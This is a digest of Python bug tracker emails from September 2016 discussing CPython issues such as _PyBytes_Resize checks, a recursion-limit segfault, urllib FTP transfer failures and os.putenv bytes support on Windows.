Date: Sat, 17 Sep 2016 07:14:18 +0000
Subject: [issue28145] Fix whitespace in C source code
In-Reply-To: <1473850786.65.0.167663767875.issue28145@psf.upfronthosting.co.za>
Message-ID: <1474096458.44.0.582770872078.issue28145@psf.upfronthosting.co.za>


Francisco Couzo added the comment:

I'm closing this issue since I've created new issues for each case, please refer to #28184, #28185, and #28186.

----------
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28145>
_______________________________________

From report at bugs.python.org  Sat Sep 17 03:17:28 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Sat, 17 Sep 2016 07:17:28 +0000
Subject: [issue28186] Autogenerated tabs / trailing whitespace
In-Reply-To: <1474095512.0.0.99894670529.issue28186@psf.upfronthosting.co.za>
Message-ID: <1474096648.45.0.370208755347.issue28186@psf.upfronthosting.co.za>


Changes by Francisco Couzo <franciscouzo at gmail.com>:


Removed file: http://bugs.python.org/file44707/autogenerated_whitespace.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28186>
_______________________________________

From report at bugs.python.org  Sat Sep 17 03:27:32 2016
From: report at bugs.python.org (Martin Panter)
Date: Sat, 17 Sep 2016 07:27:32 +0000
Subject: [issue27761] Private _nth_root function loses accuracy
In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za>
Message-ID: <1474097252.3.0.283513603108.issue27761@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


----------
nosy:  -martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27761>
_______________________________________

From report at bugs.python.org  Sat Sep 17 04:03:00 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 17 Sep 2016 08:03:00 +0000
Subject: [issue28139] Misleading Indentation in C source code
In-Reply-To: <1473814166.19.0.411912100522.issue28139@psf.upfronthosting.co.za>
Message-ID: <20160917080256.34406.65614.DBBEEA81@psf.io>


Roundup Robot added the comment:

New changeset a2bfec367cef by Martin Panter in branch '2.7':
Issue #28139: Fix messed up indentation
https://hg.python.org/cpython/rev/a2bfec367cef

New changeset 0e2a891639dd by Martin Panter in branch '3.5':
Issue #28139: Fix messed up indentation
https://hg.python.org/cpython/rev/0e2a891639dd

New changeset 1e052a70a70a by Martin Panter in branch '3.6':
Issue #28139: Merge indentation fixes from 3.5 into 3.6
https://hg.python.org/cpython/rev/1e052a70a70a

New changeset c49084a28969 by Martin Panter in branch 'default':
Issue #28139: Merge indentation fixes from 3.6
https://hg.python.org/cpython/rev/c49084a28969

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28139>
_______________________________________

From report at bugs.python.org  Sat Sep 17 05:36:46 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 17 Sep 2016 09:36:46 +0000
Subject: [issue28187] Check return value of _PyBytes_Resize
Message-ID: <1474105005.9.0.381232030538.issue28187@psf.upfronthosting.co.za>


New submission from Berker Peksag:

There are a couple of instances that don't check return value of _PyBytes_Resize in Modules/. I noticed this while working on issue 25270.

Patch attached.

----------
components: Extension Modules
files: pybytes_resize.diff
keywords: patch
messages: 276778
nosy: berker.peksag, serhiy.storchaka
priority: normal
severity: normal
stage: patch review
status: open
title: Check return value of _PyBytes_Resize
type: behavior
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44710/pybytes_resize.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28187>
_______________________________________

From report at bugs.python.org  Sat Sep 17 05:48:29 2016
From: report at bugs.python.org (Martin Panter)
Date: Sat, 17 Sep 2016 09:48:29 +0000
Subject: [issue28187] Check return value of _PyBytes_Resize
In-Reply-To: <1474105005.9.0.381232030538.issue28187@psf.upfronthosting.co.za>
Message-ID: <1474105709.28.0.841483025651.issue28187@psf.upfronthosting.co.za>


Martin Panter added the comment:

Can the resize fail if the buffer is only being strunk? I haven?t looked closely, but maybe that?s why some of the cases don?t check for failure.

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28187>
_______________________________________

From report at bugs.python.org  Sat Sep 17 06:41:55 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 17 Sep 2016 10:41:55 +0000
Subject: [issue28187] Check return value of _PyBytes_Resize
In-Reply-To: <1474105005.9.0.381232030538.issue28187@psf.upfronthosting.co.za>
Message-ID: <1474108915.41.0.990245311524.issue28187@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Yes, it can fail for multiple reasons: wrong type, ref count != 1, realloc() fails to allocate a smaller area.

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28187>
_______________________________________

From report at bugs.python.org  Sat Sep 17 07:00:50 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 17 Sep 2016 11:00:50 +0000
Subject: [issue28187] Check return value of _PyBytes_Resize
In-Reply-To: <1474105005.9.0.381232030538.issue28187@psf.upfronthosting.co.za>
Message-ID: <1474110050.51.0.694775097795.issue28187@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Could you please regenerate the patch for Rietveld Berker?

_PyBytes_Resize(&res, r) always sets res to NULL if fails. Thus the following code is correct. No need to check the return value.

    if (n > r)
        _PyBytes_Resize(&res, r);
    return res;

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28187>
_______________________________________

From report at bugs.python.org  Sat Sep 17 07:05:44 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 17 Sep 2016 11:05:44 +0000
Subject: [issue28187] Check return value of _PyBytes_Resize
In-Reply-To: <1474105005.9.0.381232030538.issue28187@psf.upfronthosting.co.za>
Message-ID: <1474110344.62.0.39634949821.issue28187@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


Added file: http://bugs.python.org/file44711/pybytes_resize_regenerated.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28187>
_______________________________________

From report at bugs.python.org  Sat Sep 17 07:15:31 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 17 Sep 2016 11:15:31 +0000
Subject: [issue28176] Fix callbacks race in asyncio.SelectorLoop.sock_connect
In-Reply-To: <1473976530.0.0.19666207968.issue28176@psf.upfronthosting.co.za>
Message-ID: <1474110931.46.0.354339339256.issue28176@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Would increasing timeout to 10.0 be sufficient? Should we wrap the test with @support.reap_threads?

----------
nosy: +berker.peksag
status: pending -> open
versions: +Python 3.5, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28176>
_______________________________________

From report at bugs.python.org  Sat Sep 17 07:24:10 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 17 Sep 2016 11:24:10 +0000
Subject: [issue26149] Suggest PyCharm Community as an editor for Unix platforms
In-Reply-To: <1453153728.95.0.733172914649.issue26149@psf.upfronthosting.co.za>
Message-ID: <1474111450.31.0.560713714282.issue26149@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the patch. I left some comment on Rietveld: http://bugs.python.org/review/26149/#ps18589

----------
stage: needs patch -> patch review
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26149>
_______________________________________

From report at bugs.python.org  Sat Sep 17 07:45:45 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 17 Sep 2016 11:45:45 +0000
Subject: [issue28187] Check return value of _PyBytes_Resize
In-Reply-To: <1474105005.9.0.381232030538.issue28187@psf.upfronthosting.co.za>
Message-ID: <1474112745.11.0.112875219929.issue28187@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

In all cases _PyBytes_Resize is followed by return. Original code is correct. In either way NULL is returned if _PyBytes_Resize fails.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28187>
_______________________________________

From report at bugs.python.org  Sat Sep 17 08:06:17 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 17 Sep 2016 12:06:17 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1474113976.99.0.477329835242.issue28128@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Eric's basic approach sounds fine to me.

The "pre-compiled .pyc files won't trigger SyntaxWarning" problem isn't new, as it exists for the old 3.5 warnings as well (-B prevents writing bytecode, which may be handy while working on this. Unfortunately, there's no equivalent to prevent reading it except deleting the offending bytecode file):

  $ python3 -B -c "import syntax_warning" 
  /home/ncoghlan/devel/py36/syntax_warning.py:3: SyntaxWarning: name 'x' is assigned to before global declaration
    global x
  $ python3 -c "import syntax_warning" 
  /home/ncoghlan/devel/py36/syntax_warning.py:3: SyntaxWarning: name 'x' is assigned to before global declaration
    global x
  $ python3 -c "import syntax_warning" 
  $ rm __pycache__/syntax_warning.cpython-35.pyc 
  $ python3 -B -c "import syntax_warning" 
  /home/ncoghlan/devel/py36/syntax_warning.py:3: SyntaxWarning: name 'x' is assigned to before global declaration
    global x

As long as folks are running their tests at least once in fresh environments they'll see the warning.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Sat Sep 17 08:09:34 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sat, 17 Sep 2016 12:09:34 +0000
Subject: [issue28179] Segfault in test_recursionlimit_fatalerror
In-Reply-To: <1474017738.64.0.366816916836.issue28179@psf.upfronthosting.co.za>
Message-ID: <1474114174.68.0.730394358623.issue28179@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

This snippet also crashes in Py3.5

----------
nosy: +larry, xiang.zhang
versions: +Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28179>
_______________________________________

From report at bugs.python.org  Sat Sep 17 08:33:10 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 17 Sep 2016 12:33:10 +0000
Subject: [issue28179] Segfault in test_recursionlimit_fatalerror
In-Reply-To: <1474017738.64.0.366816916836.issue28179@psf.upfronthosting.co.za>
Message-ID: <1474115590.34.0.701845610042.issue28179@psf.upfronthosting.co.za>


Berker Peksag added the comment:

What do you mean by crash? I think the purpose of the test is to crash the interpreter:

    def test_recursionlimit_fatalerror(self):
        # A fatal error occurs if a second recursion limit is hit when recovering
        # from a first one.

        ...

        self.assertIn(
            b"Fatal Python error: Cannot recover from stack overflow",
            err)

test_sys passes for me in Python 3.5, but not in Python 3.6:

======================================================================
FAIL: test_recursionlimit_fatalerror (test.test_sys.SysModuleTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/berker/projects/cpython/default/Lib/test/test_sys.py", line 281, in test_recursionlimit_fatalerror
    err)
AssertionError: b'Fatal Python error: Cannot recover from stack overflow' not found in b''

----------------------------------------------------------------------

Running the snippet from msg276686 in Python 3.6:

    $ ./python -V
    Python 3.6.0b1+

    $ ./python a.py  
    Segmentation fault (core dumped)

In Python 3.5:

    $ ./python -V
    Python 3.5.2+

    $ ./python a.py 
    Fatal Python error: Cannot recover from stack overflow.

    Current thread 0x00007f5965eaf700 (most recent call first):
      File "a.py", line 5 in f
      File "a.py", line 5 in f
      File "a.py", line 5 in f
    [...]

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28179>
_______________________________________

From report at bugs.python.org  Sat Sep 17 08:36:28 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 17 Sep 2016 12:36:28 +0000
Subject: [issue28187] Check return value of _PyBytes_Resize
In-Reply-To: <1474105005.9.0.381232030538.issue28187@psf.upfronthosting.co.za>
Message-ID: <1474115788.84.0.840703864268.issue28187@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the review, Serhiy! Good point, closing this as 'not a bug'.

----------
resolution:  -> not a bug
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28187>
_______________________________________

From report at bugs.python.org  Sat Sep 17 08:44:32 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sat, 17 Sep 2016 12:44:32 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1474116272.08.0.196950006743.issue28183@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Serhiy, I don't understand your patch. You delete the logic about split table and then iterating split table actually fails.

>>> class C:
...     pass
... 
>>> a, b = C(), C()
>>> a.a, a.b = 1, 2
>>> list(b.__dict__)
['a', 'b']
>>> 

Without attributes now b also get entries when iterating.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Sat Sep 17 08:46:10 2016
From: report at bugs.python.org (=?utf-8?q?Alex_Gr=C3=B6nholm?=)
Date: Sat, 17 Sep 2016 12:46:10 +0000
Subject: [issue23749] asyncio missing wrap_socket (starttls)
In-Reply-To: <1427119199.61.0.485462184824.issue23749@psf.upfronthosting.co.za>
Message-ID: <1474116370.69.0.492701175735.issue23749@psf.upfronthosting.co.za>


Alex Gr?nholm added the comment:

So is this going to make it into 3.6...?

----------
nosy: +Alex Gr?nholm

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23749>
_______________________________________

From report at bugs.python.org  Sat Sep 17 08:50:44 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 17 Sep 2016 12:50:44 +0000
Subject: [issue28075] os.stat fails when access is denied
In-Reply-To: <1473584680.43.0.379847844225.issue28075@psf.upfronthosting.co.za>
Message-ID: <20160917125041.4510.41813.F69E8E8E@psf.io>


Roundup Robot added the comment:

New changeset eabb86463462 by Berker Peksag in branch '3.5':
Issue #28075: Check for ERROR_ACCESS_DENIED in Windows implementation of os.stat()
https://hg.python.org/cpython/rev/eabb86463462

New changeset 4071a7cf6437 by Berker Peksag in branch '3.6':
Issue #28075: Merge from 3.5
https://hg.python.org/cpython/rev/4071a7cf6437

New changeset b04d5864e59a by Berker Peksag in branch 'default':
Issue #28075: Merge from 3.6
https://hg.python.org/cpython/rev/b04d5864e59a

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28075>
_______________________________________

From report at bugs.python.org  Sat Sep 17 08:51:48 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 17 Sep 2016 12:51:48 +0000
Subject: [issue28075] os.stat fails when access is denied
In-Reply-To: <1473584680.43.0.379847844225.issue28075@psf.upfronthosting.co.za>
Message-ID: <1474116708.27.0.0504097086796.issue28075@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks, Eryk.

----------
nosy: +berker.peksag
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28075>
_______________________________________

From report at bugs.python.org  Sat Sep 17 08:53:37 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 17 Sep 2016 12:53:37 +0000
Subject: [issue21516] pathlib.Path(...).is_dir() crashes on some directories
 (Windows)
In-Reply-To: <1400251536.05.0.844143170662.issue21516@psf.upfronthosting.co.za>
Message-ID: <1474116817.57.0.359564975537.issue21516@psf.upfronthosting.co.za>


Berker Peksag added the comment:

This is resolved by issue 28075.

----------
nosy: +berker.peksag
resolution:  -> out of date
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21516>
_______________________________________

From report at bugs.python.org  Sat Sep 17 08:56:44 2016
From: report at bugs.python.org (R. David Murray)
Date: Sat, 17 Sep 2016 12:56:44 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474117004.51.0.988869729302.issue28165@psf.upfronthosting.co.za>


R. David Murray added the comment:

Could you post files instead of a zip, please?  It will be easier to review.

----------
nosy: +r.david.murray

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Sat Sep 17 09:35:54 2016
From: report at bugs.python.org (Martin Panter)
Date: Sat, 17 Sep 2016 13:35:54 +0000
Subject: [issue28139] Misleading Indentation in C source code
In-Reply-To: <1473814166.19.0.411912100522.issue28139@psf.upfronthosting.co.za>
Message-ID: <1474119354.98.0.137135096117.issue28139@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


----------
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28139>
_______________________________________

From report at bugs.python.org  Sat Sep 17 09:42:47 2016
From: report at bugs.python.org (Sohaib Ahmad)
Date: Sat, 17 Sep 2016 13:42:47 +0000
Subject: [issue27973] urllib.urlretrieve() fails on second ftp transfer
In-Reply-To: <1473174596.52.0.952829730129.issue27973@psf.upfronthosting.co.za>
Message-ID: <1474119767.12.0.262239078742.issue27973@psf.upfronthosting.co.za>


Changes by Sohaib Ahmad <sohaib0717 at gmail.com>:


Removed file: http://bugs.python.org/file44692/urllib.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27973>
_______________________________________

From report at bugs.python.org  Sat Sep 17 09:48:32 2016
From: report at bugs.python.org (Sohaib Ahmad)
Date: Sat, 17 Sep 2016 13:48:32 +0000
Subject: [issue27973] urllib.urlretrieve() fails on second ftp transfer
In-Reply-To: <1473174596.52.0.952829730129.issue27973@psf.upfronthosting.co.za>
Message-ID: <1474120112.78.0.389264700372.issue27973@psf.upfronthosting.co.za>


Sohaib Ahmad added the comment:

I finally found the actual problem causing the failure of second download. urlretrieve() works with FTP in PASV mode, and in PASV mode after sending the file to client, the FTP server sends an ACK that the file has been transferred. After the fix of issue1067702 socket was being closed without receiving this ACK.

Now, when a user tries to download the same file or another file from same directory, the key (host, port, dirs) remains the same so open_ftp() skips ftp initialization. Because of this skipping, previous FTP connection is reused and when new commands are sent to the server, server first sends the previous ACK. This causes a domino effect and each response gets delayed by one and we get an exception from parse227().

Expected response:
        *cmd* 'RETR Contents-udeb-ppc64el.gz'
        *resp* '150 Opening BINARY mode data connection for Contents-udeb-ppc64el.gz (26555 bytes).'
        *resp* '226 Transfer complete.'

        *cmd* 'TYPE I'
        *resp* '200 Switching to Binary mode.'
        *cmd* 'PASV'
        *resp* '227 Entering Passive Mode (130,239,18,173,137,59).'

Actual response:
        *cmd* 'RETR Contents-udeb-ppc64el.gz'
        *resp* '150 Opening BINARY mode data connection for Contents-udeb-ppc64el.gz (26555 bytes).'

        *cmd* 'TYPE I'
        *resp* '226 Transfer complete.'
        *cmd* 'PASV'
        *resp* '200 Switching to Binary mode.'

I am attaching a new patch (urllib.patch) which fixes this problem by clearing the FTP server responses first if an existing connection is being used to download a file. Please review and let me know if it looks good.

----------
Added file: http://bugs.python.org/file44712/urllib.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27973>
_______________________________________

From report at bugs.python.org  Sat Sep 17 10:24:33 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sat, 17 Sep 2016 14:24:33 +0000
Subject: [issue28123] _PyDict_GetItem_KnownHash ignores DKIX_ERROR return
In-Reply-To: <1473760278.9.0.335020145509.issue28123@psf.upfronthosting.co.za>
Message-ID: <1474122273.06.0.539126309491.issue28123@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Victor, v3 now applies your suggestion.

----------
Added file: http://bugs.python.org/file44713/issue28123_v3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28123>
_______________________________________

From report at bugs.python.org  Sat Sep 17 10:43:07 2016
From: report at bugs.python.org (Eryk Sun)
Date: Sat, 17 Sep 2016 14:43:07 +0000
Subject: [issue28188] os.putenv should support bytes arguments on Windows
Message-ID: <1474123387.93.0.730915025745.issue28188@psf.upfronthosting.co.za>


New submission from Eryk Sun:

This suggestion may be controversial: os.putenv should decode bytes arguments as UTF-8, the new Windows filesystem encoding. Moreover, os.environb should also be implemented. This would be consistent with bytes support in os.spawnve and os.execve.

The controversial aspect, I think, is that this doesn't allow using arbitrary encodings for environment-variable names and values. The statement in the docs that os.environb allows one "to use a different encoding" than the filesystem encoding would have to be modified with a caveat that on wide-character platforms, such as Windows, using the filesystem encoding is mandatory.

----------
messages: 276797
nosy: eryksun
priority: normal
severity: normal
stage: needs patch
status: open
title: os.putenv should support bytes arguments on Windows
type: enhancement
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28188>
_______________________________________

From report at bugs.python.org  Sat Sep 17 10:45:14 2016
From: report at bugs.python.org (Eryk Sun)
Date: Sat, 17 Sep 2016 14:45:14 +0000
Subject: [issue28188] os.putenv should support bytes arguments on Windows
In-Reply-To: <1474123387.93.0.730915025745.issue28188@psf.upfronthosting.co.za>
Message-ID: <1474123514.83.0.950102345952.issue28188@psf.upfronthosting.co.za>


Changes by Eryk Sun <eryksun+pybugs at gmail.com>:


----------
keywords: +patch
stage: needs patch -> patch review
Added file: http://bugs.python.org/file44714/issue_28188_01.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28188>
_______________________________________

From report at bugs.python.org  Sat Sep 17 11:00:49 2016
From: report at bugs.python.org (Mariatta Wijaya)
Date: Sat, 17 Sep 2016 15:00:49 +0000
Subject: [issue26149] Suggest PyCharm Community as an editor for Unix platforms
In-Reply-To: <1453153728.95.0.733172914649.issue26149@psf.upfronthosting.co.za>
Message-ID: <1474124449.15.0.797434499812.issue26149@psf.upfronthosting.co.za>


Mariatta Wijaya added the comment:

Thanks for the feedback, Berker :)
I added some introductory statements, and added link to https://wiki.python.org/moin/IntegratedDevelopmentEnvironments

I'll be open to other suggestions as well

Thanks.

----------
Added file: http://bugs.python.org/file44715/docupdate3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26149>
_______________________________________

From report at bugs.python.org  Sat Sep 17 11:03:53 2016
From: report at bugs.python.org (Mariatta Wijaya)
Date: Sat, 17 Sep 2016 15:03:53 +0000
Subject: [issue26149] Suggest PyCharm Community as an editor for Unix platforms
In-Reply-To: <1453153728.95.0.733172914649.issue26149@psf.upfronthosting.co.za>
Message-ID: <1474124633.19.0.654274638741.issue26149@psf.upfronthosting.co.za>


Mariatta Wijaya added the comment:

Forgot to change the title to Editors and IDEs.
Updated now.

Thanks.

----------
Added file: http://bugs.python.org/file44716/docupdate4.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26149>
_______________________________________

From report at bugs.python.org  Sat Sep 17 11:21:53 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 17 Sep 2016 15:21:53 +0000
Subject: [issue28178] allow to cache_clear(some_key) in lru_cache
In-Reply-To: <1474010266.85.0.645671097891.issue28178@psf.upfronthosting.co.za>
Message-ID: <1474125713.49.0.751799135239.issue28178@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

I'm wary of adding too much complexity to the standard cache API, especially when it's something that isn't found in http://boltons.readthedocs.io/en/latest/cacheutils.html either.

I do think it could be a good idea to provide some "See Also" links to alternate caching libraries for folks that are looking for features that standard implementation doesn't provide.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28178>
_______________________________________

From report at bugs.python.org  Sat Sep 17 11:25:42 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sat, 17 Sep 2016 15:25:42 +0000
Subject: [issue28189] dictitems_contains swallows compare errors
Message-ID: <1474125942.74.0.117565832141.issue28189@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

Now, when compare errors raised during `in`, dict.keys(), dict.values() and set all propagate the errors. But dict.items() will swallow the errors(only key compare):

>>> class BadEq:
...     def __hash__(self):
...             return 7
...     def __eq__(self, other):
...             raise RuntimeError
... 
>>> k1, k2, v1, v2 = BadEq(), BadEq(), BadEq(), BadEq()
>>> d = {k1: v1}
>>> k2 in d.keys()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<stdin>", line 5, in __eq__
RuntimeError
>>> v2 in d.values()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<stdin>", line 5, in __eq__
RuntimeError
>>> k2 in {k1}
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<stdin>", line 5, in __eq__
RuntimeError
>>> (k2, v2) in d.items()
False
>>> (k2, v1) in d.items()
False

dictitems_contains.patch tries to fix this.

----------
components: Interpreter Core
files: dictitems_contains.patch
keywords: patch
messages: 276801
nosy: haypo, serhiy.storchaka, xiang.zhang
priority: normal
severity: normal
stage: patch review
status: open
title: dictitems_contains swallows compare errors
type: behavior
versions: Python 3.5, Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44717/dictitems_contains.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28189>
_______________________________________

From report at bugs.python.org  Sat Sep 17 12:33:20 2016
From: report at bugs.python.org (Jim Fulton)
Date: Sat, 17 Sep 2016 16:33:20 +0000
Subject: [issue27386] Asyncio server hang when clients connect and immediately
 disconnect
In-Reply-To: <1466888194.59.0.640833210662.issue27386@psf.upfronthosting.co.za>
Message-ID: <1474130000.0.0.313854593852.issue27386@psf.upfronthosting.co.za>


Jim Fulton added the comment:

Yes, that change addresses this issue. Thanks!

Will this be backported?

----------
resolution:  -> fixed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27386>
_______________________________________

From report at bugs.python.org  Sat Sep 17 12:51:10 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 17 Sep 2016 16:51:10 +0000
Subject: [issue27222] redundant checks and a weird use of goto statements in
 long_rshift
In-Reply-To: <1465070067.21.0.305651029523.issue27222@psf.upfronthosting.co.za>
Message-ID: <20160917165107.2403.98256.4AC450AD@psf.io>


Roundup Robot added the comment:

New changeset 21b70c835b5b by Mark Dickinson in branch 'default':
Issue #27222: various cleanups in long_rshift. Thanks Oren Milman.
https://hg.python.org/cpython/rev/21b70c835b5b

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27222>
_______________________________________

From report at bugs.python.org  Sat Sep 17 12:52:04 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 17 Sep 2016 16:52:04 +0000
Subject: [issue27222] redundant checks and a weird use of goto statements in
 long_rshift
In-Reply-To: <1465070067.21.0.305651029523.issue27222@psf.upfronthosting.co.za>
Message-ID: <1474131123.99.0.534189181454.issue27222@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Thanks for the patch and the thorough analysis!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27222>
_______________________________________

From report at bugs.python.org  Sat Sep 17 12:58:16 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 17 Sep 2016 16:58:16 +0000
Subject: [issue28178] allow to cache_clear(some_key) in lru_cache
In-Reply-To: <1474010266.85.0.645671097891.issue28178@psf.upfronthosting.co.za>
Message-ID: <1474131496.24.0.108907267414.issue28178@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
assignee:  -> rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28178>
_______________________________________

From report at bugs.python.org  Sat Sep 17 12:59:30 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 17 Sep 2016 16:59:30 +0000
Subject: [issue28178] allow to cache_clear(some_key) in lru_cache
In-Reply-To: <1474010266.85.0.645671097891.issue28178@psf.upfronthosting.co.za>
Message-ID: <1474131570.64.0.633427461858.issue28178@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

I concur with Nick that the API needs to be relatively simple.

The availability of a fast ordered dictionary now makes it very easy for people to roll their own customizations.

----------
resolution:  -> rejected
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28178>
_______________________________________

From report at bugs.python.org  Sat Sep 17 13:20:09 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sat, 17 Sep 2016 17:20:09 +0000
Subject: [issue28190] Cross-build _curses failed if host ncurses headers and
 target ncurses headers have different layouts
Message-ID: <1474132808.23.0.788365161086.issue28190@psf.upfronthosting.co.za>


New submission from Chi Hsuan Yen:

In changeset 919259054621 (from issue12567) and 707761d59a4a (from issue15268), /usr/include/ncursesw was added to include paths in setup.py and configure.ac. This is wrong and breaks cross-compiling. For example, if   host has /usr/include/ncursesw/ncurses.h and target has $SYSROOT/include/ncurses.h, the build fails. An example can be found in [1].

My patch removes all references to /usr/include/ncursesw and uses a robust detection, which is suitable for both native builds and cross builds.

Added the authors of aforementioned changesets.

[1] https://s3.amazonaws.com/archive.travis-ci.org/jobs/159936249/log.txt

----------
components: Build, Cross-Build
files: ncurses.patch
keywords: patch
messages: 276806
nosy: Alex.Willmer, Chi Hsuan Yen, doko, haypo
priority: normal
severity: normal
status: open
title: Cross-build _curses failed if host ncurses headers and target ncurses headers have different layouts
type: compile error
versions: Python 3.7
Added file: http://bugs.python.org/file44718/ncurses.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28190>
_______________________________________

From report at bugs.python.org  Sat Sep 17 13:29:00 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sat, 17 Sep 2016 17:29:00 +0000
Subject: [issue28190] Cross-build _curses failed if host ncurses headers and
 target ncurses headers have different layouts
